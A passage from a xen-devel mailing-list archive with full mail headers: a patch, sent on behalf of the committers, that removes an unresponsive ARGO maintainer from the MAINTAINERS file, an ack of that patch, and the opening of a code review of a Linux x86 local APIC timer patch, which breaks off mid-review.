 b=dRbvRyGytqzEs9wZ4z9Ha09XTZ/qbas7kf+aAi1g0Iv7uCjND8HnfcNPavtHvtP9mJuYLuT9krPZ0Xeqmte6LxjXxj/mkxbbU1gMrVg3l1CnchiRnN9LfMOXek0m0CiWpsh0dIymWLgk4oi7m05ss2sMOgIWuu8YzBxNDDKJ3jpmW7vlivM1GXd7nXitqrHBeEGInhgf4e5x+a1CkijOUs/uGDrqOZHUUPcIFod9Jw7XQljX6cZJc0mFBW3J0MfBRn7jzS78KzLYl5AtxjSbHy+jKFXvCm+umH858PewHu9H3SXTFGA+QnNfL9f47xFAeSJu3v9poTir3Y/0zalUGQ==
ARC-Authentication-Results: i=1; mx.microsoft.com 1; spf=pass
 smtp.mailfrom=citrix.com; dmarc=pass action=none header.from=citrix.com;
 dkim=pass header.d=citrix.com; arc=none
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=citrix.com;
 s=selector1;
 h=From:Date:Subject:Message-ID:Content-Type:MIME-Version:X-MS-Exchange-SenderADCheck;
 bh=eGR5Lkr/+WrJogcyH2alIWIw2RuHcvnc2gBp24CTNrI=;
 b=Gs52EhnqeGx0hf6XYEzeSvDOBHdNOyaoqOWuy3TPivXDbgxxsTSjbmu73YbO/PwjYJzkGorcOwUyGwluD6JrqxaAc1xK0kFLkS2R5UHwvdPNQS8WoyFdcvvprdjBpNL2DQ5jO74W/HRgATQS3lqIGv+5KJ+jGLo5z4tIx+BRzDw=
Authentication-Results: dkim=none (message not signed)
 header.d=none;dmarc=none action=none header.from=citrix.com;
From: Roger Pau Monne <roger.pau@citrix.com>
To: xen-devel@lists.xenproject.org
Cc: Roger Pau Monne <roger.pau@citrix.com>,
	Andrew Cooper <andrew.cooper3@citrix.com>,
	Anthony PERARD <anthony.perard@vates.tech>,
	Michal Orzel <michal.orzel@amd.com>,
	Jan Beulich <jbeulich@suse.com>,
	Julien Grall <julien@xen.org>,
	Stefano Stabellini <sstabellini@kernel.org>,
	Christopher Clark <christopher.w.clark@gmail.com>
Subject: [PATCH] argo: fall back maintainership into the rest
Date: Thu,  2 Jul 2026 18:38:45 +0200
Message-ID: <20260702163845.36453-1-roger.pau@citrix.com>
X-Mailer: git-send-email 2.53.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit
X-ClientProxiedBy: MA3P292CA0022.ESPP292.PROD.OUTLOOK.COM
 (2603:10a6:250:47::17) To CH7PR03MB7860.namprd03.prod.outlook.com
 (2603:10b6:610:24e::14)
MIME-Version: 1.0
X-MS-PublicTrafficType: Email
X-MS-TrafficTypeDiagnostic: CH7PR03MB7860:EE_|DM4PR03MB6032:EE_
X-MS-Office365-Filtering-Correlation-Id: 6c0dfa93-bf91-40a0-4249-08ded8587ccf
X-MS-Exchange-SenderADCheck: 1
X-MS-Exchange-AntiSpam-Relay: 0
X-Microsoft-Antispam:
	BCL:0;ARA:13230040|376014|366016|1800799024|23010399003|11063799006|56012099006|18002099003;
X-Microsoft-Antispam-Message-Info:
	zy3ULQqMl5sgjXblwkch4T8D7H0ThUTmTSuEpuOpoS+9gLEvEy86GTXruh+6e1YjgUi721PTginD5AZIXL4VkwH4DMFd0zUVB+MMqX7DCkxnIh+wHB1xozK4kJQff3R4c0A4L93ph6fGo1KOgp1xMngARiryeFYHWC/jSByFZmRDjpxaykrGZLNzHVJKwbsQh1pS7e4f/uX2ZpPzgPAdnih7EHXkgDgPs8N795n9GR5jHcGTktnHclcQE6E193H0ycRBVkpjbBXZaXNvidr39FOp7zJ2uMEY9tfrYaw9or997Vw12Ql5jSlti9lCIMXj7OKoZWlH7nKpUDT1WGgrj+sWU5j2W4KEl5J2iYPg9kDsIbtjUZaoAeI/NW2s4go11gD+MnDLKtjkKw8LF0VjdxhShqT+fU5B0xyH8HYx0sd0kVClVTgUIaFPwCPKYzJag7RPk9X9Lsr6BoHBoixB6422ie+6rHY8zDIvEBuXLObVovkWu9nIErVHbxUx5qeR1EyaWJjqqEZ80dhwIC6vAMF+1PuihXL16kH7dk9P4uj2dCgnBonpalrguOVA7TxL9+jovcFiAb7nB7pU6DZ1UXxKw0F8Sf79bBQzXu7kou/BWboRwRA7j7cWUlyNuTLR5Q8G78CcPPSsBrcnRX+TKnVDlxvCJgt8Poh+O4p8ABc=
X-Forefront-Antispam-Report:
	CIP:255.255.255.255;CTRY:;LANG:en;SCL:1;SRV:;IPV:NLI;SFV:NSPM;H:CH7PR03MB7860.namprd03.prod.outlook.com;PTR:;CAT:NONE;SFS:(13230040)(376014)(366016)(1800799024)(23010399003)(11063799006)(56012099006)(18002099003);DIR:OUT;SFP:1101;
X-MS-Exchange-AntiSpam-MessageData-ChunkCount: 1
X-MS-Exchange-AntiSpam-MessageData-0:
	=?utf-8?B?R1BodDJIY0x4YmxCWWdVQ3RaRjdqS21DUWNqNE5yajJDcFVTTk85UW9ZQUo0?=
 =?utf-8?B?TzlRb0RtbTF3cGlBeVNBdjE5UC9xMDlMbnMwVUJGOHNrOWZ1TWNpNk1WeEJR?=
 =?utf-8?B?dk13a3BUL3MvWkRyT3dYQ3A5ZTBhVFkzUENlYjJ1WVp3UHZ3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FZWUFwbmQ3dyttc2ZWazFNaERrQ2NFRTU5VEtVUHVY?=
 =?utf-8?B?a0ZtaU11aTRRL1U4L25YQUhUUUN4S3pPSzdDb3g2QkdHWFkzakFHVDFRaTln?=
 =?utf-8?B?TktsSy9oaEloYVJHek9WcEFZMkJRMGxiYm1aYUlJU1JnWlNteWkxdXI0VWFT?=
 =?utf-8?B?Tm5yMDJrK3RRZjhqbnBjbEN1L1lxR1RBbzVqT0oxQW03MnFZNVBSbkljZWti?=
 =?utf-8?B?a2pSMjBLa0M2RHMrU0p3YUZ3T0puYVBnUjZOSUZneGE1dkJRRE84MWpRRXRT?=
 =?utf-8?B?eFdDdEtHMDI3akdRdmFBdHU0VUZjNzVQRklMUWhHTFM3aklvdWkwVGdpekZF?=
 =?utf-8?B?V2UrckxKaDl6eGhJWVJTMnBLTzhKNXpCUEpmRlZHVzIveDI4UU5jNnkrNENM?=
 =?utf-8?B?RVRiaG04TmQyMmNQQVJ2MmlndnN6UVVMQXJ4QUU0bkFycVcxdytjZz09?=
X-OriginatorOrg: citrix.com
X-MS-Exchange-CrossTenant-Network-Message-Id: 6c0dfa93-bf91-40a0-4249-08ded8587ccf
X-MS-Exchange-CrossTenant-AuthSource: CH7PR03MB7860.namprd03.prod.outlook.com
X-MS-Exchange-CrossTenant-AuthAs: Internal
X-MS-Exchange-CrossTenant-OriginalArrivalTime: 02 Jul 2026 16:39:29.7670
 (UTC)
X-MS-Exchange-CrossTenant-FromEntityHeader: Hosted
X-MS-Exchange-CrossTenant-Id: 335836de-42ef-43a2-b145-348c2ee9ca5b
X-MS-Exchange-CrossTenant-MailboxType: HOSTED
X-MS-Exchange-CrossTenant-UserPrincipalName: Y8xNlq3beIsYp95l/g32QwU0+VNy3Elt3Ur2eGqYwGMyyjWqPHG5vidc5cIIVyy7zzRl/4ZNZdzSPRh6u1gn1Q==
X-MS-Exchange-Transport-CrossTenantHeadersStamped: DM4PR03MB6032
X-purgate-ID: tlsNG-16d1c6/1783010373-F87E668D-0520EC45/0/0
X-purgate-type: clean
X-purgate-size: 864

Due to unresponsiveness of the current maintainer.  In particular, the
committers have been trying to get in touch with Christopher for 2 weeks to
have a chat about disputes around recent commits and pending changes to the
ARGO component without getting any response.

Signed-of-by: Roger Pau MonnÃ© <roger.pau@citrix.com>
---
This patch is on behalf of the committers, and not a personal decision of
its author.
---
 MAINTAINERS | 1 -
 1 file changed, 1 deletion(-)

diff --git a/MAINTAINERS b/MAINTAINERS
index 81bd0dfeec30..6b2e391441d5 100644
--- a/MAINTAINERS
+++ b/MAINTAINERS
@@ -241,7 +241,6 @@ F:	xen/arch/x86/hvm/svm/
 F:	xen/arch/x86/include/asm/hvm/svm/
 
 ARGO
-M:	Christopher Clark <christopher.w.clark@gmail.com>
 R:	Daniel P. Smith <dpsmith@apertussolutions.com>
 S:	Maintained
 F:	xen/include/public/argo.h
-- 
2.53.0



From xen-devel-bounces@lists.xenproject.org Thu Jul 02 16:43:34 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Thu, 02 Jul 2026 16:43:34 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1352223.1609094 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wfKVg-0004nP-Oo; Thu, 02 Jul 2026 16:43:32 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1352223.1609094; Thu, 02 Jul 2026 16:43:32 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wfKVg-0004nI-Le; Thu, 02 Jul 2026 16:43:32 +0000
Received: by outflank-mailman (input) for mailman id 1352223;
 Thu, 02 Jul 2026 16:43:32 +0000
Received: from mx.expurgate.net ([194.145.224.20])
 by lists.xenproject.org with esmtp (Exim 4.92)
 (envelope-from <sstabellini@kernel.org>) id 1wfKVg-0004nC-9l
 for xen-devel@lists.xenproject.org; Thu, 02 Jul 2026 16:43:32 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wfKVe-007IVn-3g
 for xen-devel@lists.xenproject.org; Thu, 02 Jul 2026 18:43:30 +0200
Received: from [10.42.69.6] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <sstabellini@kernel.org>)
 id 6a469527-e002-0a2a0a5209dd-0a2a4506dca0-12
 for <xen-devel@lists.xenproject.org>; Thu, 02 Jul 2026 18:43:30 +0200
Received: from [172.234.252.31] (helo=sea.source.kernel.org)
 by tlsNG-16d1c6.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from <sstabellini@kernel.org>)
 id 6a469530-08de-0a2a45060019-aceafc1fc7b8-3
 for <xen-devel@lists.xenproject.org>; Thu, 02 Jul 2026 18:43:29 +0200
Received: from smtp.kernel.org (quasi.space.kernel.org [100.103.45.18])
 by sea.source.kernel.org (Postfix) with ESMTP id CA008416F6;
 Thu,  2 Jul 2026 16:43:27 +0000 (UTC)
Received: by smtp.kernel.org (Postfix) with ESMTPSA id 6E1C81F00A3A;
 Thu,  2 Jul 2026 16:43:27 +0000 (UTC)
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=k20260515 header.d=kernel.org header.i="@kernel.org" header.h="Date:From:To:cc:Subject:In-Reply-To:References"
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=kernel.org;
	s=k20260515; t=1783010607;
	bh=6PcFLEoyRJf8kxb2GS0a34t6Sr+st1IFRARKd9dpAAI=;
	h=Date:From:To:cc:Subject:In-Reply-To:References;
	b=Yaja7h2ajlb9QYXmFh17BV3Z6ClPfSTvrHGPGerzwUxl0BUsJoAdLmpiPXhOKqj/a
	 fraFqB1Yh3B0eEn6W8iFq+CUSfXr+IPowxp8Lx+R9UEnfgonzQpCMMRYSI5XXQuOIz
	 3QGc46OXEtUfo+UXwis1ZKW94kUWkHCYWI80jnJEGTMKP4m4VoRF4C4cFRFO73hIjy
	 eVR1gcm01Qd2GkElP62O0ObjQEz5RBu6VRyMZAxoJl25gfbnHNFUdeJSo1Sdpltld+
	 o8XnfGK9kNTIUKPeUZ6Fa7TJO9+g3nNYK+EsiKyLFLCHjk78ISoYjbCfIUPcRxFRqu
	 c4iJfnhS5yl7A==
Date: Thu, 2 Jul 2026 09:43:26 -0700 (PDT)
From: Stefano Stabellini <sstabellini@kernel.org>
X-X-Sender: sstabellini@ubuntu-linux-20-04-desktop
To: Roger Pau Monne <roger.pau@citrix.com>
cc: xen-devel@lists.xenproject.org, Andrew Cooper <andrew.cooper3@citrix.com>, 
    Anthony PERARD <anthony.perard@vates.tech>, 
    Michal Orzel <michal.orzel@amd.com>, Jan Beulich <jbeulich@suse.com>, 
    Julien Grall <julien@xen.org>, Stefano Stabellini <sstabellini@kernel.org>, 
    Christopher Clark <christopher.w.clark@gmail.com>
Subject: Re: [PATCH] argo: fall back maintainership into the rest
In-Reply-To: <20260702163845.36453-1-roger.pau@citrix.com>
Message-ID: <alpine.DEB.2.22.394.2607020942550.992629@ubuntu-linux-20-04-desktop>
References: <20260702163845.36453-1-roger.pau@citrix.com>
User-Agent: Alpine 2.22 (DEB 394 2020-01-19)
MIME-Version: 1.0
Content-Type: multipart/mixed; BOUNDARY="8323329-1768402433-1783010586=:992629"
Content-ID: <alpine.DEB.2.22.394.2607020943070.992629@ubuntu-linux-20-04-desktop>
X-purgate-ID: tlsNG-16d1c6/1783010610-C513768D-6D1CAD3A/0/0
X-purgate-type: clean
X-purgate-size: 1423

  This message is in MIME format.  The first part should be readable text,
  while the remaining parts are likely unreadable without MIME-aware tools.

--8323329-1768402433-1783010586=:992629
Content-Type: text/plain; CHARSET=UTF-8
Content-Transfer-Encoding: 8BIT
Content-ID: <alpine.DEB.2.22.394.2607020943071.992629@ubuntu-linux-20-04-desktop>

On Thu, 2 Jul 2026, Roger Pau Monne wrote:
> Due to unresponsiveness of the current maintainer.  In particular, the
> committers have been trying to get in touch with Christopher for 2 weeks to
> have a chat about disputes around recent commits and pending changes to the
> ARGO component without getting any response.
> 
> Signed-of-by: Roger Pau MonnÃ© <roger.pau@citrix.com>

Acked-by: Stefano Stabellini <sstabellini@kernel.org>


> ---
> This patch is on behalf of the committers, and not a personal decision of
> its author.
> ---
>  MAINTAINERS | 1 -
>  1 file changed, 1 deletion(-)
> 
> diff --git a/MAINTAINERS b/MAINTAINERS
> index 81bd0dfeec30..6b2e391441d5 100644
> --- a/MAINTAINERS
> +++ b/MAINTAINERS
> @@ -241,7 +241,6 @@ F:	xen/arch/x86/hvm/svm/
>  F:	xen/arch/x86/include/asm/hvm/svm/
>  
>  ARGO
> -M:	Christopher Clark <christopher.w.clark@gmail.com>
>  R:	Daniel P. Smith <dpsmith@apertussolutions.com>
>  S:	Maintained
>  F:	xen/include/public/argo.h
> -- 
> 2.53.0
> 
--8323329-1768402433-1783010586=:992629--


From xen-devel-bounces@lists.xenproject.org Thu Jul 02 17:47:51 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Thu, 02 Jul 2026 17:47:51 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1352279.1609104 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wfLVf-0006Nk-As; Thu, 02 Jul 2026 17:47:35 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1352279.1609104; Thu, 02 Jul 2026 17:47:35 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wfLVf-0006Nd-7A; Thu, 02 Jul 2026 17:47:35 +0000
Received: by outflank-mailman (input) for mailman id 1352279;
 Thu, 02 Jul 2026 17:47:33 +0000
Received: from mx.expurgate.net ([195.190.135.20])
 by lists.xenproject.org with esmtp (Exim 4.92)
 (envelope-from <mhklinux@outlook.com>) id 1wfLVd-0006NX-Iy
 for xen-devel@lists.xenproject.org; Thu, 02 Jul 2026 17:47:33 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wfLVc-00EjrA-F0
 for xen-devel@lists.xenproject.org; Thu, 02 Jul 2026 19:47:32 +0200
Received: from [10.42.69.1] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <mhklinux@outlook.com>)
 id 6a46a428-2eae-0a2a0a5409dd-0a2a4501ec4c-14
 for <xen-devel@lists.xenproject.org>; Thu, 02 Jul 2026 19:47:32 +0200
Received: from [52.103.1.13]
 (helo=BL2PR02CU003.outbound.protection.outlook.com)
 by tlsNG-d62444.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from <mhklinux@outlook.com>)
 id 6a46a433-400f-0a2a45010019-3467010d4978-3
 for <xen-devel@lists.xenproject.org>; Thu, 02 Jul 2026 19:47:32 +0200
Received: from SN6PR02MB4157.namprd02.prod.outlook.com (2603:10b6:805:33::23)
 by LV8PR02MB10144.namprd02.prod.outlook.com (2603:10b6:408:18f::17)
 with Microsoft SMTP Server (version=TLS1_2,
 cipher=TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384) id 15.21.181.8; Thu, 2 Jul 2026
 17:47:27 +0000
Received: from SN6PR02MB4157.namprd02.prod.outlook.com
 ([fe80::900:1ccf:2b1e:52b6]) by SN6PR02MB4157.namprd02.prod.outlook.com
 ([fe80::900:1ccf:2b1e:52b6%3]) with mapi id 15.21.0181.008; Thu, 2 Jul 2026
 17:47:27 +0000
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=selector1 header.d=outlook.com header.i="@outlook.com" header.h="From:Date:Subject:Message-ID:Content-Type:MIME-Version"
ARC-Seal: i=1; a=rsa-sha256; s=arcselector10001; d=microsoft.com; cv=none;
 b=gSn+/upNAJrnk7n/jLvrZH8A+EKxHEVv0SWT6UOtd9kvD6EaN+j9XA8qzA9NcTWd5yFp2p9ECeFXgA7HBIHPcw6Fl6D25Ipk5RFh/kQ3IX5XeweUHyDWJrjhHTy0tQvt3UxBVLNz4InTPH6ItWdzu9j1jMv9/dLRYuT+pkqUwe7cZaslp22Ujk5L0cRmWOpJDf5OYlTjKPedjPMwiA1+IZS399PlGh/dBe5voUyGlt8n1jvZwtKQeM6XX45eLLeT0XppqYSLu2Ubt/ORXn5bCqJN6Ze6tBFJZkSSMWJRaJbRMEwkl8ldAlefUzgDi/6sDFBxaqbDQOYGMw9tY6Ae2Q==
ARC-Message-Signature: i=1; a=rsa-sha256; c=relaxed/relaxed; d=microsoft.com;
 s=arcselector10001;
 h=From:Date:Subject:Message-ID:Content-Type:MIME-Version:X-MS-Exchange-AntiSpam-MessageData-ChunkCount:X-MS-Exchange-AntiSpam-MessageData-0:X-MS-Exchange-AntiSpam-MessageData-1;
 bh=/U4V13hwZGhvpkdmcDFMNobqvgip4Nea0yy3TPSYIXU=;
 b=ksEr7f9RhHMeKiJztHTt4Y6jklvB5/rXs8sziM4stDKlmB4ySXgMdxggyThAhYwyX9ZbdV4+2JfHpRlTSoK8Fpe0ocdC/AStfO0HoXzbssmd3y0vV5zX33GLFA8pRki1V1u0wmmLkvJC4wPGLnk1xML7Ihv7sNyeHX/dPvnfXC6kZfAVeQcw9vfFrPjX0rqK3CsCuQ9qb4hQocQ5il3hKKle4VE//Lb4Iq5LsARUzLUzYVf+/f7IzZZH1jNC3GGcCc1iUcBicyYKy76M8vHIWrNxGvWK3TQ/VaBKFIs52aLGrCYqtfm3NcZd/3wCP6ZCLWmSy+K9PExc2z+C8HauvA==
ARC-Authentication-Results: i=1; mx.microsoft.com 1; spf=none; dmarc=none;
 dkim=none; arc=none
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=outlook.com;
 s=selector1;
 h=From:Date:Subject:Message-ID:Content-Type:MIME-Version:X-MS-Exchange-SenderADCheck;
 bh=/U4V13hwZGhvpkdmcDFMNobqvgip4Nea0yy3TPSYIXU=;
 b=XH98sYS0dJjEqeyiWejkonzIYf66AGNfD4NPxx/eqqaEHr7NWC4itSdhkjxXiBywUEn0Qe55cYBg4VpBNR/xeqvZh6eY9kPWpmYkRJar++K8FkExWLHgf+UyA+rKb2L7AifOJApZhEfOp9erpb9vgD2ndpdC/D3BSp3cU4pfJBk3lUH22OaLMOprrkUHadg0BRHnNiaGyDNPRx6YILngX/K3fmLpuUYFB8Bl6Bc7ytnED0V/sF//aayztm0DuYk8x0SI35V2lisJXIiO+3hkUb3mguv2Jkd+jPfR05lqYDmHCqDtNS5i7dGRX28olPBb/RmCTcpZHye0EbX40M8Ynw==
From: Michael Kelley <mhklinux@outlook.com>
To: Sean Christopherson <seanjc@google.com>, Jonathan Corbet <corbet@lwn.net>,
	Paolo Bonzini <pbonzini@redhat.com>, Thomas Gleixner <tglx@kernel.org>, Ingo
 Molnar <mingo@redhat.com>, Borislav Petkov <bp@alien8.de>, Dave Hansen
	<dave.hansen@linux.intel.com>, "x86@kernel.org" <x86@kernel.org>, Kiryl
 Shutsemau <kas@kernel.org>, Rick Edgecombe <rick.p.edgecombe@intel.com>, "K.
 Y. Srinivasan" <kys@microsoft.com>, Haiyang Zhang <haiyangz@microsoft.com>,
	Wei Liu <wei.liu@kernel.org>, Dexuan Cui <decui@microsoft.com>, Long Li
	<longli@microsoft.com>, Ajay Kaher <ajay.kaher@broadcom.com>, Alexey Makhalov
	<alexey.makhalov@broadcom.com>, Jan Kiszka <jan.kiszka@siemens.com>, Andy
 Lutomirski <luto@kernel.org>, Peter Zijlstra <peterz@infradead.org>, Juergen
 Gross <jgross@suse.com>, Daniel Lezcano <daniel.lezcano@kernel.org>, John
 Stultz <jstultz@google.com>
CC: Shuah Khan <skhan@linuxfoundation.org>, "H. Peter Anvin" <hpa@zytor.com>,
	Vitaly Kuznetsov <vkuznets@redhat.com>, Broadcom internal kernel review list
	<bcm-kernel-feedback-list@broadcom.com>, Boris Ostrovsky
	<boris.ostrovsky@oracle.com>, Stephen Boyd <sboyd@kernel.org>,
	"linux-doc@vger.kernel.org" <linux-doc@vger.kernel.org>,
	"kvm@vger.kernel.org" <kvm@vger.kernel.org>, "linux-kernel@vger.kernel.org"
	<linux-kernel@vger.kernel.org>, "linux-coco@lists.linux.dev"
	<linux-coco@lists.linux.dev>, "linux-hyperv@vger.kernel.org"
	<linux-hyperv@vger.kernel.org>, "virtualization@lists.linux.dev"
	<virtualization@lists.linux.dev>, "xen-devel@lists.xenproject.org"
	<xen-devel@lists.xenproject.org>, Tom Lendacky <thomas.lendacky@amd.com>,
	Nikunj A Dadhania <nikunj@amd.com>, David Woodhouse <dwmw@amazon.co.uk>,
	David Woodhouse <dwmw2@infradead.org>, Michael Kelley <mhklinux@outlook.com>,
	Thomas Gleixner <tglx@linutronix.de>
Subject: RE: [PATCH v5 01/51] x86/apic: Provide helpers to set local APIC
 timer period in hz and khz
Thread-Topic: [PATCH v5 01/51] x86/apic: Provide helpers to set local APIC
 timer period in hz and khz
Thread-Index: AQHdCZBe6TYzIJYr/E2B6pv9f83kWbZago1g
Date: Thu, 2 Jul 2026 17:47:26 +0000
Message-ID:
 <SN6PR02MB41578D3C34AB283B892C27A4D4F52@SN6PR02MB4157.namprd02.prod.outlook.com>
References: <20260701193212.749551-1-seanjc@google.com>
 <20260701193212.749551-2-seanjc@google.com>
In-Reply-To: <20260701193212.749551-2-seanjc@google.com>
Accept-Language: en-US
Content-Language: en-US
X-MS-Has-Attach:
X-MS-TNEF-Correlator:
x-ms-publictraffictype: Email
x-ms-traffictypediagnostic: SN6PR02MB4157:EE_|LV8PR02MB10144:EE_
x-ms-office365-filtering-correlation-id: 8a00adf4-ed81-48ed-ddee-08ded861fb20
x-ms-exchange-slblob-mailprops:
 LVbdfIC7uFA0GyAFqbKW0EprdbA2EYzU3cYeZ/aYpf+3yv7G/lcFWJP9wfJT3Dq57DaLrgkhDqJ2vgZCqdiCRIJ19cEqRknj6rpg6LHTipbc4xDgvVAkJ8HKHGisnQwrh3KvL4zs26qbcKpMP9PjggGt2NV4XStGOEFDzZuNamyyBijUY+O7kKWznDLctv6dGUJXR4NBNsKsJUY7N2vt10LLefGC9qN9cC2/UsL/bBxU8rZjEArpONcppmF3c2V/uk27/RNe93WaOuvv0wXt+voNWk2fMqJ89ZvY7G4Yh/9VnPWzTR7e9AjiNZ6HnHZxdP+u1TCNBr/vGZ6Pfed/9A0LiwHIYgyD1ilbMGRGWmtSzT6qT1hE67GhS0/oXAv7XzLZwWI1n8VcHyKN19cB6Oc8DOVow5S7UuyPVNVxUTi6Kw4K04uxMsIApYi/GyVe5CZHXr2/o3Zhd7Q/FRmsKxyvAJTWdNxp2DivvOWFDkEtZ8viIGlhlyv1xMdl5Lv5luNC0xY1DWkW13GycTnlpIsJ5TevNY59u7MSGsT6qd7u77vZJNoxFk6wQw3z1cmUl+jPLSkbN4lxBbdYMk3Bc8y3um2qgvxk4WTElrTHSFTgWrvrh7zYZHuuGgFgiz04mR6ktfwTSA1KzE+WVb9QfYuV9KAeRyFpV27GVESCgPGw3DNNOVc/bsNMnFHgsyBmqd8+VfZggKVWXHxam/DEEffBEM1eyje8k8Vo39sGtftt5ST9xz86sg==
x-microsoft-antispam:
 BCL:0;ARA:14566002|51005399006|19101099003|37011999003|13091999003|8060799015|8062599012|31061999003|41001999006|19110799012|25010399006|15080799012|4140399003|40105399003|102099032|440099028|3412199025|1710799026;
x-microsoft-antispam-message-info:
 =?us-ascii?Q?peMOuPd68er2iuBIlvPe1FpE3avD7jemrANNs0NhGvaJrfYlTxTbu/H8uXg1?=
 =?us-ascii?Q?NNrfa6Nrk4M6KpZyLgYBu656L2r5Ifgi0ei28OgUHTdRDWqxloSru/zKPRgK?=
 =?us-ascii?Q?xH2WOrWQ/HjQGtczFrSdGvogN+IeGusA/TQL74aBMwzgzJViWITZrxoYIBHp?=
 =?us-ascii?Q?n7sYMT2VJMOBzuA0TzVyChWb4cSvztuv/m0/vIkopp1DVb9Oa101dTN4ItgH?=
 =?us-ascii?Q?AgtUg94Cqv6+o0iRpjq4XrNwFL/YPWmweB+Ae2zJKMpgO0ATCmhXRXaXXDVA?=
 =?us-ascii?Q?0/FwYpN+dOgN0BALPK3IWub4IxVI36N9hb4QhRdEHVxUdxSmGVozr4g5cYFI?=
 =?us-ascii?Q?2OBf3lruU8SZiSn1V7pF7NgMLGpj4jAQhx7m8qwUIshkR1/TPBsvRzZsKmQ2?=
 =?us-ascii?Q?oC9ht8w4Nib6hOWl07bSTetcV0swX8j1FIYlthKdgUeqGQ7uoiYINrRRDRXl?=
 =?us-ascii?Q?ESeS276omrEdz2lJAYXbFErxU/G0leXrOGHVXNci2i4DVaF7IznaUqpxbcuw?=
 =?us-ascii?Q?jCXs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IwZEa3+0sSy0h398dxGZj7mnn9Dx?=
 =?us-ascii?Q?wX0uPOOTiug0q1vxgiqJpxMifqAiQpumi4zxOL2CbXvTIM9X6kLYJjdNhYsq?=
 =?us-ascii?Q?Hwv4Y1lTm6yKVRxy1UTNXO+Abzi/ncw3W+Y+PQya61q31wYkfUTDFldt3PM6?=
 =?us-ascii?Q?mpiXiUoKglCX8ELQG4hB5bih5q/yIYZq56Ca7ZNV7apWBsEQdEYOIlH/teek?=
 =?us-ascii?Q?FpIHE/zM5n3uunuYobC47I2CJp/+50Q5xUBK727khNabUOZ0Cyr42AtbyQC8?=
 =?us-ascii?Q?jbTSbIU=3D?=
Content-Type: text/plain; charset="us-ascii"
Content-Transfer-Encoding: quoted-printable
MIME-Version: 1.0
X-OriginatorOrg: outlook.com
X-MS-Exchange-CrossTenant-AuthAs: Internal
X-MS-Exchange-CrossTenant-AuthSource: SN6PR02MB4157.namprd02.prod.outlook.com
X-MS-Exchange-CrossTenant-RMS-PersistedConsumerOrg: 00000000-0000-0000-0000-000000000000
X-MS-Exchange-CrossTenant-Network-Message-Id: 8a00adf4-ed81-48ed-ddee-08ded861fb20
X-MS-Exchange-CrossTenant-originalarrivaltime: 02 Jul 2026 17:47:26.9688
 (UTC)
X-MS-Exchange-CrossTenant-fromentityheader: Hosted
X-MS-Exchange-CrossTenant-id: 84df9e7f-e9f6-40af-b435-aaaaaaaaaaaa
X-MS-Exchange-CrossTenant-rms-persistedconsumerorg: 00000000-0000-0000-0000-000000000000
X-MS-Exchange-Transport-CrossTenantHeadersStamped: LV8PR02MB10144
X-purgate-ID: tlsNG-d62444/1783014452-D26C61E0-A8379AE9/0/0
X-purgate-type: clean
X-purgate-size: 6457

From: Sean Christopherson <seanjc@google.com> Sent: Wednesday, July 1, 2026=
 12:31 PM
>=20
> Add and use APIs to set the local APIC timer period instead of open codin=
g
> the subtle HZ math in a all external callers, and make lapic_timer_period

Spurious word "a".

> local to apic.c.  Provide APIs to specify the frequency in both hertz and
> kilohertz so that Hyper-V and VMware code aren't forced to lose precision=
.
>=20
> Opportunistically use mul_u64_u32_div() to harden against the possibility
> that the period in Khz is greater than 4294967, i.e. if the APIC timer ru=
ns
